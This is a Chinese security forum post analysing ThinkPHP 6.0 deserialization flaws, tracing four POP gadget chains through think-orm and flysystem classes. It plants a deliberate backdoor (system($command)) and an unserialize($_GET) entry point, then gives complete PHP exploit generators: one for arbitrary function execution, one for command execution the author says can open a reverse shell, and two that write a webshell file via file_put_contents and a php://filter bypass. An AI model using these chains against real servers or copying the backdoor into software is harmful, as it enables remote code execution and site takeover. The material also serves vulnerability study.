安全矩阵

 找回密码
 立即注册
搜索
查看: 2663|回复: 0

Thinkphp 6.0 反序列化漏洞分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-28 15:12:44 | 显示全部楼层 |阅读模式
原文链接:Thinkphp 6.0 反序列化漏洞分析

控制器写法:
控制器文件通常放在application/module/controller下面,类名和文件名保持大小写一致,并采用驼峰命名(首字母大写)。
一个典型的控制器类定义如下:
  1. <?php
  2. namespace app\index\controller;

  3. use think\Controller;

  4. class Index extends Controller
  5. {
  6.     public function index()
  7.     {
  8.         return 'index';
  9.     }
  10. }
复制代码


控制器类文件的实际位置是
application\index\controller\Index.php
一个例子:
  1. <?php
  2. namespace app\controller;

  3. use app\BaseController;

  4. class Index extends BaseController
  5. {
  6.     public function index()
  7.     {
  8.         return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
  9.     }
  10.     public function backdoor($command)
  11.     {
  12.         system($command);
  13.     }
  14. }
复制代码


想进入后门,需要访问:
http://ip/index.php/Index/backdoor/?command=ls
所以写一个漏洞利用点:
控制器,app/home/contorller/index.php
  1. <?php

  2. namespace app\home\controller;

  3. use think\facade\Db;

  4. class Index extends Base
  5. {
  6.     public function index()
  7.     {
  8.         return view('index');
  9.     }
  10.     public function payload(){
  11.         if(isset($_GET['c'])){
  12.             $code = $_GET['c'];
  13.             unserialize($code);
  14.         }
  15.         else{
  16.             highlight_file(__FILE__);
  17.         }
  18.         return "Welcome to TP6.0";
  19.     }
  20. }
复制代码



POP1入口:/vendor/topthink/think-orm/src/Model.php

让$this->lazySave==True,跟进:

想要进入updateData方法,需要满足一些条件:

让第一个if里面一个条件为真才能不直接return,也即需要两个条件:
  1. $this->isEmpty()==false
  2. $this->trigger('BeforeWrite')==true
  3. 其中isEmpty():
  4.     public function isEmpty(): bool
  5.     {
  6.         return empty($this->data);
  7.     }
复制代码


让$this->data!=null即可满足第一个条件。再看trigger('BeforeWrite'),位于ModelEvent类中:
  1. protected function trigger(string $event): bool
  2.     {
  3.         if (!$this->withEvent) {
  4.             return true;
  5.         }
  6.         .....
  7.     }
复制代码


让$this->withEvent==false即可满足第二个条件,
然后需要让$this->exists=true,这样才能执行updateData,
跟进updateData(),

想要执行checkAllwoFields方法需要绕过前面的两个 if 判断,必须满足两个条件:
$this->trigger('BeforeUpdate')==true$data!=null第一个条件上面已经满足,现在看第二个条件$data,查看$data是怎么来的,跟进getChangedData方法,src/model/concern/Attribute.php

因为$force没定义默认为 null ,所以进入array_udiff_assoc,由于$this->data和$this->origin默认也为null,所以不符合第一个if判断,最终$data=0,也即满足前面所提的第二个条件,$data!=null。
然后查看 checkAllowFields 方法调用情况。

我们想进入字符拼接操作,就需要进入else,所以要让$this->field=null,$this->schema=null,进入下面
这里存在可控属性的字符拼接,所以可以找一个有__tostring方法的类做跳板,寻找__tostring,
src/model/concern/Conversion.php,

进入toJson方法,

我们想要执行的就是getAttr方法,触发条件:
$this->visible[$key]需要存在,而$key来自$data的键名,$data又来自$this->data,即$this->data必须有一个键名传给$this->visible,然后把键名$key传给getAttr方法,
跟进getAttr方法,vendor/topthink/think-orm/src/model/concern/Attribute.php

跟进getData方法,

跟进getRealFieldName方法,

当$this->strict为true时直接返回$name,即键名$key
返回getData方法,此时$fieldName=$key,进入if语句,返回$this->data[$key],再回到getAttr方法,
​​
return $this->getValue($name, $value, $relation);即返回
return $this->getValue($name, $this->data[$key], $relation);跟进getValue方法,

如果我们让$closure为我们想执行的函数名,$value和$this->data为参数即可实现任意函数执行。
所以需要查看$closure属性是否可控,跟进getRealFieldName方法,

如果让$this->strict==true,即可让$$fieldName等于传入的参数$name,即开始的$this->data[$key]的键值$key,可控
又因为$this->withAttr数组可控,所以,$closure可控·,值为$this->withAttr[$key],参数就是$this->data,即$data的键值,
所以我们需要控制的参数:
  1. $this->data不为空
  2. $this->lazySave == true
  3. $this->withEvent == false
  4. $this->exists == true
  5. $this->force == true
复制代码


这里还需要注意,Model是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用。
所以构造exp:
  1. <?php
  2. namespace think{
  3.     abstract class Model{
  4.         use model\concern\Attribute;  //因为要使用里面的属性
  5.         private $lazySave;
  6.         private $exists;
  7.         private $data=[];
  8.         private $withAttr = [];
  9.         public function __construct($obj){
  10.             $this->lazySave = True;
  11.             $this->withEvent = false;
  12.             $this->exists = true;
  13.             $this->table = $obj;
  14.             $this->data = ['key'=>'dir'];
  15.             $this->visible = ["key"=>1];
  16.             $this->withAttr = ['key'=>'system'];
  17.         }
  18.     }
  19. }

  20. namespace think\model\concern{
  21.     trait Attribute
  22.     {
  23.     }
  24. }

  25. namespace think\model{
  26.     use think\Model;
  27.     class Pivot extends Model
  28.     {
  29.     }

  30.     $a = new Pivot('');
  31.     $b = new Pivot($a);
  32.     echo urlencode(serialize($b));
  33. }
复制代码



POP2入口:vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php

让$autosave = false,
因为AbstractCache为抽象类,所以需要找一下它的子类,/vendor/topthink/framework/src/think/filesystem/CacheStore.php,因为里面实现了save方法,

继续跟进getForStorage,

跟进cleanContents方法,

只要不是嵌套数组,就可以直接return回来,返回到json_encode,他返回json格式数据后,再回到save方法的set方法,

因为$this->store可控,我们可以调用任意类的set方法,如果该类没用set方法,所以可能触发__call。当然也有可能自身的set方法就可以利用,找到可利用set方法,src/think/cache/driver/File.php,

跟进getCacheKey,这里其实就是为了查看进入该方法是否出现错误或者直接return了,

所以这里$this->option['hash_type']不能为空,然后进入serialize方法,src/think/cache/Driver.php,

这里发现options可控,如果我们将其赋值为system,那么return的就是我们命令执行函数,$data我们是可以传入的,那就可以RCE,回溯$data是如何传入的,即save方法传入的$contents,但是$contents是经过了json_encode处理后的json格式数据,那有什么函数可以出来json格式数据呢?经过测试发现system可以利用:

链子如下:
  1. /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

  2. /vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

  3. /vendor/topthink/framework/src/think/cache/driver.php::set()

  4. /vendor/topthink/framework/src/think/cache/driver.php::serialize()
复制代码


exp如下:
  1. <?php

  2. namespace League\Flysystem\Cached\Storage{
  3.     abstract class AbstractCache
  4.     {
  5.         protected $autosave = false;
  6.         protected $complete = "`id`";
  7.     }
  8. }

  9. namespace think\filesystem{
  10.     use League\Flysystem\Cached\Storage\AbstractCache;
  11.     class CacheStore extends AbstractCache
  12.     {
  13.         protected $key = "1";
  14.         protected $store;

  15.         public function __construct($store="")
  16.         {
  17.             $this->store = $store;
  18.         }
  19.     }
  20. }

  21. namespace think\cache{
  22.     abstract class Driver
  23.     {
  24.         protected $options = [
  25.             'expire' => 0,
  26.             'cache_subdir' => true,
  27.             'prefix' => '',
  28.             'path' => '',
  29.             'hash_type' => 'md5',
  30.             'data_compress' => false,
  31.             'tag_prefix' => 'tag:',
  32.             'serialize' => ['system'],
  33.         ];
  34.     }
  35. }

  36. namespace think\cache\driver{
  37.     use think\cache\Driver;
  38.     class File extends Driver{}
  39. }

  40. namespace{
  41.     $file = new think\cache\driver\File();
  42.     $cache = new think\filesystem\CacheStore($file);
  43.     echo urlencode(serialize($cache));
  44. }

  45. ?>
复制代码


但是没有回显,但是能够反弹 shell ,
​​
POP3这里其实和 POP2 一样,只是最终利用点发生了些许变化,调用关系还是一样:
  1. /vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php::__destruct()

  2. /vendor/topthink/framework/src/think/filesystem/CacheStore.php::save()

  3. /vendor/topthink/framework/src/think/cache/driver.php::set()

  4. /vendor/topthink/framework/src/think/cache/driver.php::serialize()
复制代码


POP2 是利用的控制serialize函数来RCE,但下面还存在一个file_put_contents($filename, $data)函数,我们也可以利用它来写入 shell,

我们还是需要去查看文件名是否可控,进入getCacheKey方法,

可以发现我们可以控制文件名,而且可以在$this->options['path']添加伪协议,再看写入数据$data是否可控呢,可以看到存在一个exit方法来限制我们操作,可以伪协议filter可以绕过它,可参考我博客的分析https://woshilnp.github.io/2021/ ... %E7%BB%95%E8%BF%87/
所以文件名和内容都可控,exp:
  1. <?php

  2. namespace League\Flysystem\Cached\Storage{
  3.     abstract class AbstractCache
  4.     {
  5.         protected $autosave = false;
  6.         protected $complete = "aaaPD9waHAgcGhwaW5mbygpOw==";
  7.     }
  8. }

  9. namespace think\filesystem{
  10.     use League\Flysystem\Cached\Storage\AbstractCache;
  11.     class CacheStore extends AbstractCache
  12.     {
  13.         protected $key = "1";
  14.         protected $store;

  15.         public function __construct($store="")
  16.         {
  17.             $this->store = $store;
  18.         }
  19.     }
  20. }

  21. namespace think\cache{
  22.     abstract class Driver
  23.     {
  24.         protected $options = ["serialize"=>["trim"],"expire"=>1,"prefix"=>0,"hash_type"=>"md5","cache_subdir"=>0,"path"=>"php://filter/write=convert.base64-decode/resource=","data_compress"=>0];
  25.     }
  26. }

  27. namespace think\cache\driver{
  28.     use think\cache\Driver;
  29.     class File extends Driver{}
  30. }

  31. namespace{
  32.     $file = new think\cache\driver\File();
  33.     $cache = new think\filesystem\CacheStore($file);
  34.     echo urlencode(serialize($cache));
  35. }

  36. ?>
复制代码



成功写入
POP4入口:League\Flysystem\Cached\Storage\AbstractCache,

因为AbstractCache为抽象类,所以需要找一下它的子类,src/Storage/Adapter.php

让$autosave = false即可进入save方法,

有一个write方法,$content为getForStorage方法返回值,上文已分析该参数可控,所以可以用来写马。
所以我们需要找一个有has方法和write方法的对象利用,src/Adapter/Local.php

has()方法用来判断文件是否已存在,只需要构建文件名不存在即可,进入write方法,

这里可以执行file_put_contents(),写入shell,跟进applyPathPrefix方法,

然后getPathPrefix方法返回的是该类的一个属性,因为默认为NULL,所以file_put_contents第一个参数就是$path变量,回溯该变量,也即是Adapter类中的$file属性,所以让$file属性为文件名,所以文件名$file可控,文件内容$contents可控,所以写入shell,exp:
  1. <?php

  2. namespace League\Flysystem\Cached\Storage;

  3. abstract class AbstractCache
  4. {
  5.     protected $autosave = false;
  6.     protected $cache = ['<?php phpinfo();?>'];
  7. }


  8. namespace League\Flysystem\Cached\Storage;

  9. class Adapter extends AbstractCache
  10. {
  11.     protected $adapter;
  12.     protected $file;

  13.     public function __construct($obj)
  14.     {
  15.         $this->adapter = $obj;
  16.         $this->file = 'w0s1np.php';
  17.     }
  18. }


  19. namespace League\Flysystem\Adapter;

  20. abstract class AbstractAdapter
  21. {
  22. }


  23. namespace League\Flysystem\Adapter;

  24. use League\Flysystem\Cached\Storage\Adapter;
  25. use League\Flysystem\Config;

  26. class Local extends AbstractAdapter
  27. {

  28.     public function has($path)
  29.     {
  30.     }

  31.     public function write($path, $contents, Config $config)
  32.     {
  33.     }

  34. }

  35. $a = new Local();
  36. $b = new Adapter($a);
  37. echo urlencode(serialize($b));
  38. ?>
复制代码





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 20:24 , Processed in 0.016752 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表